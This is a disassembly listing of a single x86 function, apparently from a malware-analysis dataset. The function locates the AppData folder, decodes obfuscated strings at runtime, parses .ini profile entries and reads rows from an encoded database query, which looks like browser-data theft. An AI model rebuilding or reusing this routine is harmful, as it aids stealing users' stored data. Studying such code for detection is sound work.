Function at 0x433540
Capabilities:
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x4fd925
push eax
mov eax, 0x1468
mov dword fs:[0], esp
call fcn.004bbd10
push esi
mov esi, ecx
push edi
mov dword [ebp - 0xa8], esi
mov dword [ebp - 4], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 4], 1
lea ecx, [esi + 8]
push 0
mov byte [esi], 0
call fcn.004616f0
mov byte [ebp - 4], 1
sub esp, 8
mov dword [ebp - 0x5c], 1
mov eax, esp
lea ecx, [ebp - 0x6c]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.0045dd60
add esp, 8
mov byte [ebp - 4], 3
xor ecx, ecx
mov dword [ebp - 0x28], 0xb0abaabe
mov dword [ebp - 0x24], 0xb3b3b6b9
mov byte [ebp - 0x20], 0
nop
movzx eax, byte [ebp + ecx - 0x28]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x28], al
inc ecx
cmp ecx, 8
jb 0x4335d0
lea eax, [ebp - 0x28]
mov ecx, esi
push eax
call fcn.00464510
mov edi, eax
mov byte [ebp - 4], 4
mov dl, byte [edi]
mov cl, byte [ebp - 0x6c]
mov byte [edi], cl
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x60]
mov byte [ebp - 0x6c], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x64], edx
mov dword [ebp - 0x60], esi
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x64]
push dword [ebp - 0x6c]
call fcn.004613d0
push 0x104
lea eax, [ebp - 0x474]
push 0
push eax
call fcn.004d31f0
add esp, 0xc
lea eax, [ebp - 0x474]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp + 8]
push eax
lea edx, [ebp - 0x474]
lea ecx, [ebp - 0x1ac]
call fcn.00464270
add esp, 4
mov byte [ebp - 4], 5
xor ecx, ecx
mov dword [ebp - 0x44], 0xb0adaf83
mov dword [ebp - 0x40], 0xbab3b6b9
mov dword [ebp - 0x3c], 0xb1b6f1ac
mov word [ebp - 0x38], 0xb6
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x44]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x44], al
inc ecx
cmp ecx, 0xd
jb 0x433690
lea eax, [ebp - 0x44]
push eax
lea edx, [ebp - 0x1ac]
lea ecx, [ebp - 0x17c]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 6
lea eax, [ebp - 0x17c]
cmp dword [ebp - 0x168], 0x10
cmovae eax, dword [ebp - 0x17c]
push eax
push 0x1000
lea eax, [ebp - 0x1474]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
lea esi, [ebp - 0x1474]
mov dword [ebp - 0xa4], esi
nop dword [eax]
nop dword [eax + eax]
mov dword [ebp - 0x4c], 0xb9b0ad8f
xor ecx, ecx
mov dword [ebp - 0x48], 0xbab3b6
movzx eax, byte [ebp + ecx - 0x4c]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x4c], al
inc ecx
cmp ecx, 7
jb 0x433710
push 7
lea eax, [ebp - 0x4c]
push eax
push esi
call fcn.004de7ef
add esp, 0xc
test eax, eax
jne 0x4340d5
push 0x104
push eax
lea eax, [ebp - 0x370]
push eax
call fcn.004d31f0
add esp, 0xc
mov dword [ebp - 0x2d], 0xb7abbe8f
cmp dword [ebp - 0x168], 0x10
lea edx, [ebp - 0x17c]
mov byte [ebp - 0x29], 0
cmovae edx, dword [ebp - 0x17c]
xor ecx, ecx
movzx eax, byte [ebp + ecx - 0x2d]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x2d], al
inc ecx
cmp ecx, 4
jb 0x433772
push edx
push 0x104
lea eax, [ebp - 0x370]
push eax
push 0
lea eax, [ebp - 0x2d]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0xffffffffffffff83
mov byte [ebp - 0xe], 0
call fcn.00461130
mov byte [ebp - 0xd], al
mov byte [ebp - 0xf], al
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xf]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4337c0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x19c]
sub eax, edx
cmp eax, ecx
jb 0x43412e
cmp dword [ebp - 0x198], 0x10
lea eax, [ebp - 0x1ac]
push ecx
cmovae eax, dword [ebp - 0x1ac]
lea ecx, [ebp - 0xf]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x88]
lea ecx, [ebp - 0x1d4]
call fcn.004680d0
mov esi, dword [ebp - 0x5c]
lea eax, [ebp - 0x370]
or esi, 2
lea edx, [ebp - 0x1d4]
push eax
lea ecx, [ebp - 0x194]
mov dword [ebp - 0x5c], esi
call fcn.004641d0
add esp, 4
mov byte [ebp - 4], 8
and esi, 0xfffffffd
mov dword [ebp - 0x5c], esi
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x1d4]
call fcn.00402890
xorps xmm0, xmm0
mov dword [ebp - 0x74], 0
lea ecx, [ebp - 0x370]
mov dword [ebp - 0x70], 0
movups xmmword [ebp - 0x84], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x433870
sub ecx, edx
lea eax, [ebp - 0x370]
push ecx
push eax
lea ecx, [ebp - 0x84]
call fcn.00402aa0
mov byte [ebp - 4], 0xa
lea edi, [ebp - 0x84]
cmp dword [ebp - 0x70], 0x10
mov esi, dword [ebp - 0x74]
cmovae edi, dword [ebp - 0x84]
test esi, esi
je 0x4339a6
push esi
push 0x2f
push edi
call fcn.004d49e0
add esp, 0xc
test eax, eax
je 0x4339a6
sub eax, edi
cmp eax, 0xffffffff
je 0x4339a6
push 0xfffffffffffffff0
mov byte [ebp - 0x10], 0
call fcn.00461130
sub esp, 0x18
mov byte [ebp - 0x11], al
mov edx, esp
mov dword [ebp - 0x1bc], esp
xorps xmm0, xmm0
lea ecx, [ebp - 0x11]
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x433900
sub ecx, esi
lea eax, [ebp - 0x11]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xb
sub esp, 0x18
lea eax, [ebp - 0x84]
mov dword [ebp - 0x1b8], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0xc
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x14c]
call fcn.0040bd90
add esp, 0x30
mov byte [ebp - 4], 0xd
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x148]
mov esi, dword [ebp - 0x14c]
sub ecx, esi
imul ecx
lea ecx, [ebp - 0x84]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
cmp ecx, eax
je 0x433994
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x433987
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x84]
call fcn.0045fba0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x14c]
call fcn.00461d40
mov esi, dword [ebp - 0x74]
cmp dword [ebp - 0x70], 0x10
lea edi, [ebp - 0x84]
cmovae edi, dword [ebp - 0x84]
test esi, esi
je 0x433aa7
push esi
push 0x5c
push edi
call fcn.004d49e0
add esp, 0xc
test eax, eax
je 0x433aa7
sub eax, edi
cmp eax, 0xffffffff
je 0x433aa7
mov al, byte [ebp - 0xd]
lea ecx, [ebp - 0x13]
sub esp, 0x18
mov byte [ebp - 0x12], 0
mov edx, esp
mov byte [ebp - 0x13], al
xorps xmm0, xmm0
mov dword [ebp - 0x1b4], esp
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x433a10
sub ecx, esi
lea eax, [ebp - 0x13]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xe
sub esp, 0x18
lea eax, [ebp - 0x84]
mov dword [ebp - 0x1b0], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0xf
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x44]
call fcn.0040bd90
add esp, 0x30
mov byte [ebp - 4], 0x10
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x40]
mov esi, dword [ebp - 0x44]
sub ecx, esi
imul ecx
lea ecx, [ebp - 0x84]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
cmp ecx, eax
je 0x433a9b
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x433a8e
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x84]
call fcn.0045fba0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x44]
call fcn.00461d40
movaps xmm0, xmmword [0x5278b0]
xor ecx, ecx
movups xmmword [ebp - 0x13e], xmm0
mov dword [ebp - 0x12e], 0xbaabb6
movzx eax, byte [ebp + ecx - 0x13e]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x13e], al
inc ecx
cmp ecx, 0x13
jb 0x433ac1
lea eax, [ebp - 0x13e]
push eax
lea edx, [ebp - 0x194]
lea ecx, [ebp - 0x164]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x11
xor ecx, ecx
mov word [ebp - 0x16], 0xbdad
mov byte [ebp - 0x14], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x16]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x16], al
inc ecx
cmp ecx, 2
jb 0x433b10
cmp dword [ebp - 0x150], 0x10
lea ecx, [ebp - 0x16]
lea eax, [ebp - 0x164]
cmovae eax, dword [ebp - 0x164]
push ecx
push eax
call fcn.004d7060
add esp, 8
test eax, eax
je 0x434017
push eax
call fcn.004da8ee
add esp, 4
mov byte [ebp - 0xbc], 0
lea ecx, [ebp - 0xb4]
push 0
call fcn.004616f0
mov byte [ebp - 4], 0x13
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xdc]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.0045dd60
add esp, 8
mov byte [ebp - 4], 0x14
mov al, byte [ebp - 0xbc]
test al, al
jne 0x433bb9
mov byte [ebp - 0xbc], 1
call fcn.004651b0
mov ecx, eax
mov dword [ebp - 0xb4], ecx
mov al, byte [ebp - 0xbc]
jmp 0x433bbf
mov ecx, dword [ebp - 0xb4]
cmp al, 1
jne 0x43418d
lea eax, [ebp - 0x84]
push eax
call fcn.004618d0
mov edi, eax
mov byte [ebp - 4], 0x17
mov dl, byte [edi]
mov cl, byte [ebp - 0xdc]
mov byte [edi], cl
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0xd0]
mov byte [ebp - 0xdc], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0xd4], edx
mov dword [ebp - 0xd0], esi
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0xd4]
push dword [ebp - 0xdc]
call fcn.004613d0
cmp dword [ebp - 0x150], 0x10
lea ecx, [ebp - 0x164]
lea edx, [ebp - 0xa0]
cmovae ecx, dword [ebp - 0x164]
call fcn.00414770
test eax, eax
jne 0x433fb3
movaps xmm0, xmmword [0x527b10]
xor ecx, ecx
movups xmmword [ebp - 0x12a], xmm0
mov dword [ebp - 0x10a], 0xadb0b980
movaps xmm0, xmmword [0x5272f0]
movups xmmword [ebp - 0x11a], xmm0
mov dword [ebp - 0x106], 0xacb6b7b2
mov dword [ebp - 0x102], 0xa6adb0ab
mov word [ebp - 0xfe], 0xe4
nop
movzx eax, byte [ebp + ecx - 0x12a]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x12a], al
inc ecx
cmp ecx, 0x2d
jb 0x433c90
mov edi, dword [ebp - 0xa0]
lea eax, [ebp - 0x9c]
push ecx
push eax
push ecx
lea edx, [ebp - 0x12a]
mov ecx, edi
call fcn.004abcb0
add esp, 0xc
test eax, eax
jne 0x433fac
mov esi, dword [ebp - 0x9c]
mov ecx, esi
call fcn.00497540
cmp eax, 0x64
jne 0x433fa5
nop dword [eax + eax]
xor edx, edx
mov ecx, esi
call fcn.00497830
mov edx, 1
mov dword [ebp - 0xe4], eax
mov ecx, esi
call fcn.00497830
push 0
lea ecx, [ebp - 0x90]
mov dword [ebp - 0xac], eax
mov byte [ebp - 0x98], 0
call fcn.004616f0
mov byte [ebp - 4], 0x19
xorps xmm0, xmm0
lea edx, [ebp - 0xe4]
mov byte [ebp - 0xcc], 0
lea ecx, [ebp - 0xcc]
movq qword [ebp - 0xc4], xmm0
call fcn.00475ab0
mov byte [ebp - 4], 0x1a
xor ecx, ecx
mov dword [ebp - 0x32], 0xbab2beb1
mov byte [ebp - 0x2e], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x32]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x32], al
inc ecx
cmp ecx, 4
jb 0x433d60
lea eax, [ebp - 0x32]
push eax
lea ecx, [ebp - 0x98]
call fcn.00464510
mov edi, eax
mov byte [ebp - 4], 0x1b
mov dl, byte [edi]
mov cl, byte [ebp - 0xcc]
mov eax, dword [ebp - 0xc4]
mov byte [edi], cl
mov esi, dword [edi + 0xc]
mov ecx, dword [ebp - 0xc0]
mov byte [ebp - 0xcc], dl
mov byte [ebp - 0xe0], dl
mov edx, dword [edi + 8]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0xc4], edx
mov dword [ebp - 0xc0], esi
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0xc4]
push dword [ebp - 0xe0]
call fcn.004613d0
xorps xmm0, xmm0
mov byte [ebp - 0x6c], 0
lea edx, [ebp - 0xac]
movq qword [ebp - 0x64], xmm0
lea ecx, [ebp - 0x6c]
call fcn.00475ab0
mov byte [ebp - 4], 0x1c
xor ecx, ecx
mov dword [ebp - 0x1c], 0xaab3bea9
mov word [ebp - 0x18], 0xba
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x1c]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 5
jb 0x433e10
mov al, byte [ebp - 0x98]
test al, al
jne 0x433e5a
push 1
lea ecx, [ebp - 0x28]
mov byte [ebp - 0x98], 1
call fcn.004616f0
mov eax, dword [ebp - 0x24]
mov esi, dword [ebp - 0x28]
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x8c], eax
mov al, byte [ebp - 0x98]
jmp 0x433e60
mov esi, dword [ebp - 0x90]
cmp al, 1
jne 0x434138
xorps xmm0, xmm0
mov dword [ebp - 0xec], 0
lea edx, [ebp - 0x1c]
mov dword [ebp - 0xe8], 0
movups xmmword [ebp - 0xfc], xmm0
lea ecx, [edx + 1]
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x433e90
sub edx, ecx
lea eax, [ebp - 0x1c]
push edx
push eax
lea ecx, [ebp - 0xfc]
call fcn.00402aa0
mov byte [ebp - 4], 0x1d
lea eax, [ebp - 0xfc]
push eax
mov ecx, esi
call fcn.00467a90
mov edi, eax
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0xe8]
cmp ecx, 0x10
jb 0x433efb
mov edx, dword [ebp - 0xfc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x433ef1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x434133
push ecx
push edx
call fcn.004bafb1
add esp, 8
mov dword [ebp - 0xec], 0
mov dword [ebp - 0xe8], 0xf
mov byte [ebp - 0xfc], 0
mov byte [ebp - 4], 0x20
mov cl, byte [edi]
mov al, byte [ebp - 0x6c]
mov byte [edi], al
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov eax, dword [ebp - 0x64]
mov byte [ebp - 0x6c], cl
mov byte [ebp - 0x88], cl
mov ecx, dword [ebp - 0x60]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x64], edx
mov dword [ebp - 0x60], esi
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x64]
push dword [ebp - 0x88]
call fcn.004613d0
lea eax, [ebp - 0x84]
push eax
lea ecx, [ebp - 0xbc]
call fcn.0045d600
lea ecx, [ebp - 0x98]
push ecx
mov ecx, eax
call fcn.0045d320
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x90]
push dword [ebp - 0x98]
call fcn.004613d0
mov esi, dword [ebp - 0x9c]
mov ecx, esi
call fcn.00497540
cmp eax, 0x64
je 0x433cf0
mov edi, dword [ebp - 0xa0]
mov ecx, esi
call fcn.004971b0
mov ecx, edi
call fcn.00414ac0
mov dword [ebp - 0x55], 0xb0abaabe
xor ecx, ecx
mov dword [ebp - 0x51], 0xb3b3b6b9
mov byte [ebp - 0x4d], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x55]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x55], al
inc ecx
cmp ecx, 8
jb 0x433fd0
mov ecx, dword [ebp - 0xa8]
lea eax, [ebp - 0x55]
push eax
call fcn.00464510
lea ecx, [ebp - 0xbc]
push ecx
mov ecx, eax
call fcn.0045d320
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0xb4]
push dword [ebp - 0xbc]
call fcn.004613d0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x164]
call fcn.00402890
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x70]
cmp ecx, 0x10
jb 0x434061
mov edx, dword [ebp - 0x84]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x434057
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x434133
push ecx
push edx
call fcn.004bafb1
add esp, 8
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0xf
mov byte [ebp - 0x84], 0
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x180]
cmp ecx, 0x10
jb 0x4340b4
mov edx, dword [ebp - 0x194]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4340aa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x434133
push ecx
push edx
call fcn.004bafb1
add esp, 8
mov esi, dword [ebp - 0xa4]
mov dword [ebp - 0x184], 0
mov dword [ebp - 0x180], 0xf
mov byte [ebp - 0x194], 0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc esi
add esi, eax
mov dword [ebp - 0xa4], esi
cmp byte [esi], 0
jne 0x433700
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x17c]
call fcn.00402890
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1ac]
call fcn.00402890
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.00402890
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.00402210
call fcn.004d64b0
lea ecx, [ebp - 0x98]
call fcn.004619e0
push eax
lea ecx, [ebp - 0x224]
call fcn.00402790
mov byte [ebp - 4], 0x1e
mov edx, str.cannot_use_operator___with_a_string_argument_with
push eax
lea ecx, [ebp - 0x23c]
call fcn.00464300
mov byte [ebp - 4], 0x1f
mov edx, 0x131
push eax
lea ecx, [ebp - 0x1f0]
call fcn.00409a60
add esp, 8
lea eax, [ebp - 0x1f0]
push 0x537a38
push eax
call fcn.004d2a3b
lea ecx, [ebp - 0xbc]
call fcn.004619e0
push eax
lea ecx, [ebp - 0x254]
call fcn.00402790
mov byte [ebp - 4], 0x15
mov edx, str.cannot_use_operator___with_a_string_argument_with
push eax
lea ecx, [ebp - 0x26c]
call fcn.00464300
mov byte [ebp - 4], 0x16
mov edx, 0x131
push eax
lea ecx, [ebp - 0x20c]
call fcn.00409a60
add esp, 8
lea eax, [ebp - 0x20c]
push 0x537a38
push eax
call fcn.004d2a3b
int3